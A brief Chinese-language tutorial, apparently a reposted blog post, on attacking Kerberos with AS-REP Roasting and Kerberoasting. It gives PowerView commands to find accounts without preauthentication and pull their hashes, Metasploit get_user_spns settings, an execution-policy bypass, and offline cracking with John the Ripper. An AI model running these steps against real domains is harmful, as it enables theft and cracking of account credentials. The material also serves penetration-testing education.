使用AS-REP Roasting和kerberoasting攻击kerberos

准备工作


'''
PowerView是PowerSploit框架的一个子集,里面继承了很多和渗透相关的powershell脚本下载地址:https://github.com/PowerShellMafia/PowerSploit
如果没有,请下载这个连接的版本的模块:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1
引用模块,可以单独引用PowerSploit的子模块或者引用子模块
首先把对应的文件夹放入$Env:PsModulePath的路径下,然后
Import-Module ModuleName(.xxx.ps1)即可
查看引入了那些函数和过滤器可以使用
Get-Command -Module ModuleName
如果系统不支持导入模块,可以在PS中输入一下指令执行配置,允许配置
Set-ExecutionPolicy RemoteSigned
Set-ExecutionPolicy Unrestricted
Get-ASREPHash的部分需要用到ASREPRoast项目的功能:
https://github.com/gold1029/ASREPRoast
'''

AS-REP Roasting原理分析


原理就是通过获取不需要预鉴权的高权限账户,获取器hash值,进行爆破。这个爆破是依靠字典的,限制较多,不是很好用,首先控制一台域内的机器,然后获取powershell的权限。

Get-DomainUser -PreauthNotRequired -Properties distinguishedname -Verbose

Get-ASREPHash -UserName admin02 -Domain sec.com -Verbose 

爆破


将hash值存起来,使用相关程序爆破,依靠字典

Kerberoasting攻击kerberos


使用msf的use auxiliary/gather/get_user_spns,也可以获得类似信息,但是注意一开始的位置是krb5tgs,而不是krb5asrep,说明这是从两个步骤的返回报文中获取到的hash值,可以分别进行爆破,只需要掌握一个与普通账号、口令、域名称、域控IP地址即可

use auxiliary/gather/get_user_spns
set rhosts x.x.x.x
set user xxx 普通用户权限即可
set pass xxx 普通用户权限即可
set domain xxxxx.xxx.xxx
set Threads 10
run


然后就可以使用jtr进行破解

参考文献:

https://www.anquanke.com/post/id/85374ss
https://www.anquanke.com/post/id/87050

原文地址:https://www.cnblogs.com/KevinGeorge/p/10479060.html